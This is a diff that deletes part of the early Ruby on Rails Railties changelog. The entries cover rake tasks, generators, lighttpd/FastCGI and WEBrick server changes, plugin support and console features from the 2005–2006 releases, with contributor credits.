-* Replaced old session rake tasks with db:sessions:create to generate a migration, and db:sessions:clear to remove sessions. *Rick Olson*
-
-* Reject Ruby 1.8.3 when loading Rails; extract version checking code. *Chad Fowler*
-
-* Remove explicit loading of RailsInfo and RailsInfoController. *Nicholas Seckar*
-
-* Move RailsInfo and RailsInfoController to Rails::Info and Rails::InfoController. *Nicholas Seckar*
-
-* Extend load path with Railties' builtin directory to make adding support code easy. *Nicholas Seckar*
-
-* Fix the rails_info controller by explicitly loading it, and marking it as not reloadable. *Nicholas Seckar*
-
-* Fixed rails:freeze:gems for Windows #3274 *paul@paulbutcher.com*
-
-* Added 'port open?' check to the spawner when running in repeat mode so we don't needlessly boot the dispatcher if the port is already in use anyway #4089 *guy.naor@famundo.com*
-
-* Add verification to generated scaffolds, don't allow get for unsafe actions *Michael Koziarski*
-
-* Don't replace application.js in public/javascripts if it already exists *Cody Fauser*
-
-* Change test:uncommitted to delay execution of `svn status` by using internal Rake API's. *Nicholas Seckar*
-
-* Use require_library_or_gem to load rake in commands/server.rb. Closes #4205. *rob.rasmussen@gmail.com*
-
-* Use the Rake API instead of shelling out to create the tmp directory in commands/server.rb. *Chad Fowler*
-
-* Added a backtrace to the evil WSOD (White Screen of Death). Closes #4073. TODO: Clearer exceptions *Rick Olson*
-
-* Added tracking of database and framework versions in script/about #4088 *charles.gerungan@gmail.com/Rick Olson*
-
-* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults *David Heinemeier Hansson*
-
-* Added socket cleanup for lighttpd, both before and after *David Heinemeier Hansson*
-
-* Added automatic creation of tmp/ when running script/server *David Heinemeier Hansson*
-
-* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process *David Heinemeier Hansson*
-
-* Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 *esad@esse.at*
-
-* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 *David Heinemeier Hansson*
-
-* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 *Thijs van der Vossen*
-
-* Added test:uncommitted to test changes since last checkin to Subversion #4035 *technomancy@gmail.com*
-
-* Help script/about print the correct svn revision when in a non-English locale. #4026 *babie7a0@ybb.ne.jp*
-
-* Add 'app' accessor to script/console as an instance of Integration::Session *Jamis Buck*
-
-* Generator::Base#usage takes an optional message argument which defaults to Generator::Base#usage_message. *Jeremy Kemper*
-
-* Remove the extraneous AR::Base.threaded_connections setting from the webrick server. *Jeremy Kemper*
-
-* Add integration test support to app generation and testing *Jamis Buck*
-
-* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though *David Heinemeier Hansson*
-
-* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! *David Heinemeier Hansson*
-
-* Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 *ror@andreas-s.net*
-
-* Added collision option to template generation in generators #3329 [anna@wota.jp]. Examples:
-
- m.template "stuff.config" , "config/stuff.config" , :collision => :skip
- m.template "auto-stamping", "config/generator.log", :collision => :force
-
-* Added more information to script/plugin's doings to ease debugging #3755 *Rick Olson*
-
-* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets *David Heinemeier Hansson*
-
-* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration *David Heinemeier Hansson*
-
-* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) *David Heinemeier Hansson*
-
-* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton *David Heinemeier Hansson*
-
-* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration *David Heinemeier Hansson*
-
-* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration *David Heinemeier Hansson*
-
-* Allow script/server -c /path/to/lighttpd.conf *Jeremy Kemper*
-
-* Remove hardcoded path to reaper script in script/server *Jeremy Kemper*
-
-* Update script.aculo.us to V1.5.3 *Thomas Fuchs*
-
-* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things *David Heinemeier Hansson*
-
-* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. *David Heinemeier Hansson*
-
-* Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized. Useful for things like per-environment configuration of plugins. *Michael Koziarski*
-
-* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. *David Heinemeier Hansson*
-
-* Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 *tom@craz8.com*
-
-* Fixed documentation tasks to work with Rake 0.7.0 #3563 *kazuhiko@fdiary.net*
-
-* Update to Prototype 1.5.0_pre0 *Sam Stephenson*
-
-* Sort the list of plugins so we load in a consistent order *Rick Olson*
-
-* Show usage when script/plugin is called without arguments *tom@craz8.com*
-
-* Corrected problems with plugin loader where plugins set 'name' incorrectly #3297 *anna@wota.jp*
-
-* Make migration generator only report on exact duplicate names, not partial dupliate names. #3442 *jeremy@planetargon.com Marcel Molina Jr.*
-
-* Fix typo in mailer generator USAGE. #3458 *chriztian.steinmeier@gmail.com*
-
-* Ignore version mismatch between pg_dump and the database server. #3457 *Simon Stapleton*
-
-* Reap FCGI processes after lighttpd exits. *Sam Stephenson*
-
-* Honor ActiveRecord::Base.pluralize_table_names when creating and destroying session store table. #3204. *rails@bencurtis.com, Marcel Molina Jr.*
-
-## 1.0.0 (December 13th, 2005) ##
-
-* Update instructions on how to find and install generators. #3172. *Chad Fowler*
-
-* Generator looks in vendor/generators also. *Chad Fowler*
-
-* Generator copies files in binary mode. #3156 *minimudboy@gmail.com*
-
-* Add builtin/ to the gemspec. Closes #3047. *Nicholas Seckar, Sam Stephenson*
-
-* Add install.rb file to plugin generation which is loaded, if it exists, when you install a plugin. *Marcel Molina Jr.*
-
-* Run initialize_logger in script/lighttpd to ensure the log file exists before tailing it. *Sam Stephenson*
-
-* Make load_fixtures include csv fixtures. #3053. *me@mdaines.com*
-
-* Fix freeze_gems so that the latest rails version is dumped by default. *Nicholas Seckar*
-
-* script/plugin: handle root paths and plugin names which contain spaces. #2995 *justin@aspect.net*
-
-* Model generator: correct relative path to test_helper in unit test. *Jeremy Kemper*
-
-* Make the db_schema_dump task honor the SCHEMA environment variable if present the way db_schema_import does. #2931. *Blair Zajac*
-
-* Have the lighttpd server script report the actual ip to which the server is bound. #2903. *Adam*
-
-* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. *James Adam*
-
-* Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. *anonymous*
-
-* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database. #2964 *Dreamer3*
-
-* Introducing the session_migration generator. Creates an add_session_table migration. Allows generator to specify migrations directory. #2958, #2960 *Rick Olson*
-
-* script/console uses RAILS_ENV environment variable if present. #2932 [Blair Zajac <blair@orcaware.com>
-
-* Windows: eliminate the socket option in database.yml. #2924 *Wayne Vucenic <waynev@gmail.com>*
-
-* Eliminate nil from newly generated logfiles. #2927 *Blair Zajac <blair@orcaware.com>*
-
-* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
-
-* Eliminate Subversion dependencies in scripts/plugin. Correct install options. Introduce --force option to reinstall a plugin. Remove useless --long option for list. Use --quiet to quiet the download output and --revision to update to a specific svn revision. #2842 *Chad Fowler, Rick Olson*
-
-* SQLite: the clone_structure_to_test and purge_test_database Rake tasks should always use the test environment. #2846 *Rick Olson*
-
-* Make sure that legacy db tasks also reference :database for SQLite #2830 *kazuhiko@fdiary.net*
-
-* Pass __FILE__ when evaluating plugins' init.rb. #2817 *James Adam*
-
-* Better svn status matching for generators. #2814 *François Beausoleil <francois.beausoleil@gmail.com>, Blair Zajac <blair@orcaware.com>*
-
-* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities *David Heinemeier Hansson*
-
-* Don't detach or fork for script/server tailing *Nicholas Seckar*
-
-* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path for compatibility with web servers that don't have Ruby in path *David Heinemeier Hansson*
-
-* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [David Heinemeier Hansson] #2660
-
-* Correct versioning in :freeze_gems Rake task. #2778 *Jakob Skjerning, Jeremy Kemper*
-
-* Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. *Sam Stephenson*
-
-
-## 0.14.3 (RC4) (November 7th, 2005) ##
-
-## Add 'add_new_scripts' rake task for adding new rails scripts to script/ Jamis Buck ##
-
-* Remove bogus hyphen from script/process/reaper calls to 'ps'. #2767 *anonymous*
-
-* Copy lighttpd.conf when it is first needed, instead of on app creation *Jamis Buck*
-
-* Use require_library_or_gem 'fcgi' in script/server *Sam Stephenson*
-
-* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' *David Heinemeier Hansson*
-
-* New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins']. *Jeremy Kemper*
-
-* Plugins are discovered in nested paths, so you can organize your plugins directory as you like. *Jeremy Kemper*
-
-* Refactor load_plugin from load_plugins. #2757 *alex.r.moon@gmail.com*
-
-* Make use of silence_stderr in script/lighttpd, script/plugin, and Rails::Info *Sam Stephenson*
-
-* Enable HTTP installation of plugins when svn isn't avaialable. Closes #2661. *Chad Fowler*
-
-* Added script/about to display formatted Rails::Info output *Sam Stephenson*
-
-* Added Rails::Info to catalog assorted information about a Rails application's environment *Sam Stephenson*
-
-* Tail the logfile when running script/server lighttpd in the foreground *Sam Stephenson*
-
-* Try to guess the port number from config/lighttpd.conf in script/server lighttpd *Sam Stephenson*
-
-* Don't reap spawn-fcgi. #2727 *matthew@walker.wattle.id.au*
-
-* Reaper knows how to find processes even if the dispatch path is very long. #2711 *matthew@walker.wattle.id.au*
-
-* Make fcgi handler respond to TERM signals with an explicit exit *Jamis Buck*
-
-* Added demonstration of fixture use to the test case generated by the model generator *David Heinemeier Hansson*
-
-* If specified, pass PostgreSQL client character encoding to createdb. #2703 *Kazuhiko <kazuhiko@fdiary.net>*
-
-* Catch CGI multipart parse errors. Wrap dispatcher internals in a failsafe response handler. *Jeremy Kemper*
-
-* The freeze_gems Rake task accepts the VERSION environment variable to decide which version of Rails to pull into vendor/rails. *Chad Fowler, Jeremy Kemper*
-
-* Removed script.aculo.us.js, builder.js and slider.js (preperation for move of scriptaculous extensions to plugins, core scriptaculous will remain in Railties) *Thomas Fuchs*
-
-* The freeze_edge Rake task does smarter svn detection and can export a specific revision by passing the REVISION environment variable. For example: rake freeze_edge REVISION=1234. #2663 *Rick Olson*
-
-* Comment database.yml and include PostgreSQL and SQLite examples. *Jeremy Kemper*
-
-* Improve script/plugin on Windows. #2646 *Chad Fowler*
-
-* The *_plugindoc Rake tasks look deeper into the plugins' lib directories. #2652 *bellis@deepthought.org*
-
-* The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml. *Anatol Pomozov <anatol.pomozov@gmail.com>*
-
-* Add task to generate rdoc for all installed plugins. *Marcel Molina Jr.*
-
-* Update script.aculo.us to V1.5_rc4 *Thomas Fuchs*
-
-* Add default Mac + DarwinPorts MySQL socket locations to the app generator. *Jeremy Kemper*
-
-* Migrations may be destroyed: script/destroy migration foo. #2635 *Charles M. Gerungan <charles.gerungan@gmail.com>, Jamis Buck, Jeremy Kemper*
-
-* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator *David Heinemeier Hansson*
-
-* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service *David Heinemeier Hansson*
-
-* Added script/plugin to manage plugins (install, remove, list, etc) *Ryan Tomayko*
-
-* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) *David Heinemeier Hansson*
-
-* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) *David Heinemeier Hansson*
-
-* Fixed scaffold generator when started with only 1 parameter #2609 *self@mattmower.com*
-
-* rake should run functional tests even if the unit tests have failures *Jim Weirich*
-
-* Back off cleanpath to be symlink friendly. Closes #2533 *Nicholas Seckar*
-
-* Load rake task files in alphabetical order so you can build dependencies and count on them #2554 *Blair Zajac*
-
-
-## 0.14.2 (RC3) (October 26th, 2005) ##
-
-* Constants set in the development/test/production environment file are set in Object
-
-* Scaffold generator pays attention to the controller name. #2562 *self@mattmower.com*
-
-* Include tasks from vendor/plugins/*/tasks in the Rakefile #2545 *Rick Olson*
-
-
-## 0.14.1 (RC2) (October 19th, 2005) ##
-
-* Don't clean RAILS_ROOT on windows
-
-* Remove trailing '/' from RAILS_ROOT *Nicholas Seckar*
-
-* Upgraded to Active Record 1.12.1 and Action Pack 1.10.1
-
-
-## 0.14.0 (RC1) (October 16th, 2005) ##
-
-* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators *Tobias Lütke*
-
-* Fix rake dev and related commands *Nicholas Seckar*
-
-* The rails command tries to deduce your MySQL socket by running `mysql_config
- --socket`. If it fails, default to /path/to/your/mysql.sock
-
-* Made the rails command use the application name for database names in the tailored database.yml file. Example: "rails ~/projects/blog" will use "blog_development" instead of "rails_development". *Florian Weber*
-
-* Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system)
-
-* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. *Tobias Lütke*
-
-* Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. *Nicholas Seckar*
-
-* Made the instantiated/transactional fixtures settings be controlled through Rails::Initializer. Transactional and non-instantiated fixtures are default from now on. *Florian Weber*
-
-* Support using different database adapters for development and test with ActiveRecord::Base.schema_format = :ruby *Sam Stephenson*
-
-* Make webrick work with session(:off)
-
-* Add --version, -v option to the Rails command. Closes #1840. *stancell*
-
-* Update Prototype to V1.4.0_pre11, script.aculo.us to V1.5_rc3 [2504] and fix the rails generator to include the new .js files *Thomas Fuchs*
-
-* Make the generator skip a file if it already exists and is identical to the new file.
-
-* Add experimental plugin support #2335
-
-* Made Rakefile aware of new .js files in script.aculo.us *Thomas Fuchs*
-
-* Make table_name and controller_name in generators honor AR::Base.pluralize_table_names. #1216 #2213 *kazuhiko@fdiary.net*
-
-* Clearly label functional and unit tests in rake stats output. #2297 *lasse.koskela@gmail.com*
-
-* Make the migration generator only check files ending in *.rb when calculating the next file name #2317 *Chad Fowler*
-
-* Added prevention of duplicate migrations from the generator #2240 *François Beausoleil*
-
-* Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file).
-
-* Reformed all the config/environments/* files to conform to the new Rails::Configuration approach. Fully backwards compatible.
-
-* Added create_sessions_table, drop_sessions_table, and purge_sessions_table as rake tasks for databases that supports migrations (MySQL, PostgreSQL, SQLite) to get a table for use with CGI::Session::ActiveRecordStore
-
-* Added dump of schema version to the db_structure_dump task for databases that support migrations #1835 *Rick Olson*
-
-* Fixed script/profiler for Ruby 1.8.2 #1863 *Rick Olson*
-
-* Fixed clone_structure_to_test task for SQLite #1864 *jon@burningbush.us*
-
-* Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 *ask@develooper.com*
-
-* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 *Kevin Clark*
-
-* Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 *wejn@box.cz*
-
-* Make the default stats task extendable by modifying the STATS_DIRECTORIES constant
-
-* Allow the selected environment to define RAILS_DEFAULT_LOGGER, and have Rails::Initializer use it if it exists.
-
-* Moved all the shared tasks from Rakefile into Rails, so that the Rakefile is empty and doesn't require updating.
-
-* Added Rails::Initializer and Rails::Configuration to abstract all of the common setup out of config/environment.rb (uses config/boot.rb to bootstrap the initializer and paths)
-
-* Fixed the scaffold generator to fail right away if the database isn't accessible instead of in mid-air #1169 *Chad Fowler*
-
-* Corrected project-local generator location in scripts.rb #2010 *Michael Schuerig*
-
-* Don't require the environment just to clear the logs #2093 *Scott Barron*
-
-* Make the default rakefile read *.rake files from config/tasks (for easy extension of the rakefile by e.g. generators)
-
-* Only load breakpoint in development mode and when BREAKPOINT_SERVER_PORT is defined.
-
-* Allow the --toggle-spin switch on process/reaper to be negated
-
-* Replace render_partial with render :partial in scaffold generator *Nicholas Seckar*
-
-* Added -w flag to ps in process/reaper #1934 *Scott Barron*
-
-* Allow ERb in the database.yml file (just like with fixtures), so you can pull out the database configuration in environment variables #1822 *Duane Johnson*
-
-* Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help.
-
-* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 *Marcel Molina Jr.*
-
-* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 *Michael Schubert*
-
-* Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down).
-
-
-## 0.13.1 (11 July, 2005) ##
-
-* Look for app-specific generators in RAILS_ROOT/generators rather than the clunky old RAILS_ROOT/script/generators. Nobody really uses this feature except for the unit tests, so it's a negligible-impact change. If you want to work with third-party generators, drop them in ~/.rails/generators or simply install gems.
-
-* Fixed that each request with the WEBrick adapter would open a new database connection #1685 *Sam Stephenson*
-
-* Added support for SQL Server in the database rake tasks #1652 [Ken Barker] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set.
-
-* Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version
-
-* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 *court3nay*
-
-* Improved documentation for environment config files #1625 *court3nay*
-
-
-## 0.13.0 (6 July, 2005) ##
-
-* Changed the default logging level in config/environment.rb to INFO for production (so SQL statements won't be logged)
-
-* Added migration generator: ./script/generate migration add_system_settings
-
-* Added "migrate" as rake task to execute all the pending migrations from db/migrate
-
-* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 *Marcel Molina Jr.*
-
-* Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 *Michael Koziarski*
-
-* SIGTERM also gracefully exits dispatch.fcgi. Ignore SIGUSR1 on Windows.
-
-* Add the option to manually manage garbage collection in the FastCGI dispatcher. Set the number of requests between GC runs in your public/dispatch.fcgi *Stefan Kaes*
-
-* Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them.
-
-* RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush)
-
-* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 *Michael Schubert*
-
-* ActionMailer::Base subclasses are reloaded with the other rails components #1262
-
-* Made the WEBrick adapter not use a mutex around action performance if ActionController::Base.allow_concurrency is true (default is false)
-
-* Fixed that mailer generator generated fixtures/plural while units expected fixtures/singular #1457 *Scott Barron*
-
-* Added a 'whiny nil' that's aim to ensure that when users pass nil to methods where that isn't appropriate, instead of NoMethodError? and the name of some method used by the framework users will see a message explaining what type of object was expected. Only active in test and development environments by default #1209 *Michael Koziarski*
-
-* Fixed the test_helper.rb to be safe for requiring controllers from multiple spots, like app/controllers/article_controller.rb and app/controllers/admin/article_controller.rb, without reloading the environment twice #1390 *Nicholas Seckar*
-
-* Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 *Nicholas Seckar*
-
-* Added -e/--environment option to script/runner #1408 *François Beausoleil*
-
-* Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id]. #1367
-
-* Added graceful exit from pressing CTRL-C during the run of the rails command #1150 *Caleb Tennis*
-
-* Allow graceful exits for dispatch.fcgi processes by sending a SIGUSR1. If the process is currently handling a request, the request will be allowed to complete and then will terminate itself. If a request is not being handled, the process is terminated immediately (via #exit). This basically works like restart graceful on Apache. *Jamis Buck*
-
-* Made dispatch.fcgi more robust by catching fluke errors and retrying unless its a permanent condition. *Jamis Buck*
-
-* Added console --profile for profiling an IRB session #1154 *Jeremy Kemper*
-
-* Changed console_sandbox into console --sandbox #1154 *Jeremy Kemper*
-
-
-## 0.12.1 (20th April, 2005) ##
-
-* Upgraded to Active Record 1.10.1, Action Pack 1.8.1, Action Mailer 0.9.1, Action Web Service 0.7.1
-
-
-## 0.12.0 (19th April, 2005) ##
-
-* Fixed that purge_test_database would use database settings from the development environment when recreating the test database #1122 *rails@cogentdude.com*
-
-* Added script/benchmarker to easily benchmark one or more statement a number of times from within the environment. Examples:
-
- # runs the one statement 10 times
- script/benchmarker 10 'Person.expensive_method(10)'
-
- # pits the two statements against each other with 50 runs each
- script/benchmarker 50 'Person.expensive_method(10)' 'Person.cheap_method(10)'
-
-* Added script/profiler to easily profile a single statement from within the environment. Examples:
-
- script/profiler 'Person.expensive_method(10)'
- script/profiler 'Person.expensive_method(10)' 10 # runs the statement 10 times
-
-* Added Rake target clear_logs that'll truncate all the *.log files in log/ to zero #1079 *Lucas Carlson*
-
-* Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 *k@v2studio.com*
-
-* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 *pburleson*
-
-* Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4
-
-
-## 0.11.1 (27th March, 2005) ##
-
-* Fixed the dispatch.fcgi use of a logger
-
-* Upgraded to Active Record 1.9.1, Action Pack 1.7.0, Action Mailer 0.8.1, Action Web Service 0.6.2, Active Support 1.0.3
-
-
-## 0.11.0 (22th March, 2005) ##
-
-* Removed SCRIPT_NAME from the WEBrick environment to prevent conflicts with PATH_INFO #896 *Nicholas Seckar*
-
-* Removed ?$1 from the dispatch.f/cgi redirect line to get rid of 'complete/path/from/request.html' => nil being in the @params now that the ENV["REQUEST_URI"] is used to determine the path #895 *dblack/Nicholas Seckar*
-
-* Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process
-
-* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 *Tobias Lütke*
-
-* Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 *Nicholas Seckar*
-
-* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 *Nicholas Seckar/Tobias Lütke*
-
-* Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples:
-
- ./script/runner 'ReminderService.deliver'
- ./script/runner 'Mailer.receive(STDIN.read)'
-
- This makes it easier to do CRON and postfix scripts without actually making a script just to trigger 1 line of code.
-
-* Fixed webrick_server cookie handling to allow multiple cookes to be set at once #800, #813 *dave@cherryville.org*
-
-* Fixed the Rakefile's interaction with postgresql to:
-
- 1. Use PGPASSWORD and PGHOST in the environment to fix prompting for
- passwords when connecting to a remote db and local socket connections.
- 2. Add a '-x' flag to pg_dump which stops it dumping privileges #807 [rasputnik]
- 3. Quote the user name and use template0 when dumping so the functions doesn't get dumped too #855 [pburleson]
- 4. Use the port if available #875 [madrobby]
-
-* Upgraded to Active Record 1.9.0, Action Pack 1.6.0, Action Mailer 0.8.0, Action Web Service 0.6.1, Active Support 1.0.2
-
-
-## 0.10.1 (7th March, 2005) ##
-
-* Fixed rake stats to ignore editor backup files like model.rb~ #791 *Sebastian Kanthak*
-
-* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 *Tobias Lütke*
-
-* Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence)
-
-* Fixed that scaffold generator new template should use local variable instead of instance variable #778 *Dan Peterson*
-
-* Allow unit tests to run on a remote server for PostgreSQL #781 *adamm@galacticasoftware.com*
-
-* Added web_service generator (run ./script/generate web_service for help) #776 *Leon Bredt*
-
-* Added app/apis and components to code statistics report #729 *Scott Barron*
-
-* Fixed WEBrick server to use ABSOLUTE_RAILS_ROOT instead of working_directory #687 *Nicholas Seckar*
-
-* Fixed rails_generator to be usable without RubyGems #686 *Cristi BALAN*
-
-* Fixed -h/--help for generate and destroy generators #331
-
-* Added begin/rescue around the FCGI dispatcher so no uncaught exceptions can bubble up to kill the process (logs to log/fastcgi.crash.log)
-
-* Fixed that association#count would produce invalid sql when called sequentialy #659 *kanis@comcard.de*
-
-* Fixed test/mocks/testing to the correct test/mocks/test #740
-
-* Added early failure if the Ruby version isn't 1.8.2 or above #735
-
-* Removed the obsolete -i/--index option from the WEBrick servlet #743
-
-* Upgraded to Active Record 1.8.0, Action Pack 1.5.1, Action Mailer 0.7.1, Action Web Service 0.6.0, Active Support 1.0.1
-
-
-## 0.10.0 (24th February, 2005) ##
-
-* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 *Marcel Molina Jr.*
-
-* Fixed that script/server -d was broken so daemon mode couldn't be used #687 *Nicholas Seckar*
-
-* Upgraded to breakpoint 92 which fixes:
-
- * overload IRB.parse_opts(), fixes #443
- => breakpoints in tests work even when running them via rake
- * untaint handlers, might fix an issue discussed on the Rails ML
- * added verbose mode to breakpoint_client
- * less noise caused by breakpoint_client by default
- * ignored TerminateLineInput exception in signal handler
- => quiet exit on Ctrl-C
-
-* Added support for independent components residing in /components. Example:
-
- Controller: components/list/items_controller.rb
- (holds a List::ItemsController class with uses_component_template_root called)
-
- Model : components/list/item.rb
- (namespace is still shared, so an Item model in app/models will take precedence)
-
- Views : components/list/items/show.rhtml
-
-
-* Added --sandbox option to script/console that'll roll back all changes made to the database when you quit #672 *Jeremy Kemper*
-
-* Added 'recent' as a rake target that'll run tests for files that changed in the last 10 minutes #612 *Jeremy Kemper*
-
-* Changed script/console to default to development environment and drop --no-inspect #650 *Jeremy Kemper*
-
-* Added that the 'fixture :posts' syntax can be used for has_and_belongs_to_many fixtures where a model doesn't exist #572 *Jeremy Kemper*
-
-* Added that running test_units and test_functional now performs the clone_structure_to_test as well #566 *rasputnik*
-
-* Added new generator framework that informs about its doings on generation and enables updating and destruction of generated artifacts. See the new script/destroy and script/update for more details #487 *Jeremy Kemper*
-
-* Added Action Web Service as a new add-on framework for Action Pack *Leon Bredt*
-
-* Added Active Support as an independent utility and standard library extension bundle
-
-* Upgraded to Active Record 1.7.0, Action Pack 1.5.0, Action Mailer 0.7.0
-
-
-## 0.9.5 (January 25th, 2005) ##
-
-* Fixed dependency reloading by switching to a remove_const approach where all Active Records, Active Record Observers, and Action Controllers are reloading by undefining their classes. This enables you to remove methods in all three types and see the change reflected immediately and it fixes #539. This also means that only those three types of classes will benefit from the const_missing and reloading approach. If you want other classes (like some in lib/) to reload, you must use require_dependency to do it.
-
-* Added Florian Gross' latest version of Breakpointer and friends that fixes a variaty of bugs #441 *Florian Gross*
-
-* Fixed skeleton Rakefile to work with sqlite3 out of the box #521 *rasputnik*
-
-* Fixed that script/breakpointer didn't get the Ruby path rewritten as the other scripts #523 *brandt@kurowski.net*
-
-* Fixed handling of syntax errors in models that had already been succesfully required once in the current interpreter
-
-* Fixed that models that weren't referenced in associations weren't being reloaded in the development mode by reinstating the reload
-
-* Fixed that generate scaffold would produce bad functional tests
-
-* Fixed that FCGI can also display SyntaxErrors
-
-* Upgraded to Active Record 1.6.0, Action Pack 1.4.0
-
-
-## 0.9.4.1 (January 18th, 2005) ##
-
-* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 *Marcel Molina Jr.*
-
-* Fixed binding of caller #496 *Alexey*
-
-* Upgraded to Active Record 1.5.1, Action Pack 1.3.1, Action Mailer 0.6.1
-
-
-## 0.9.4 (January 17th, 2005) ##
-
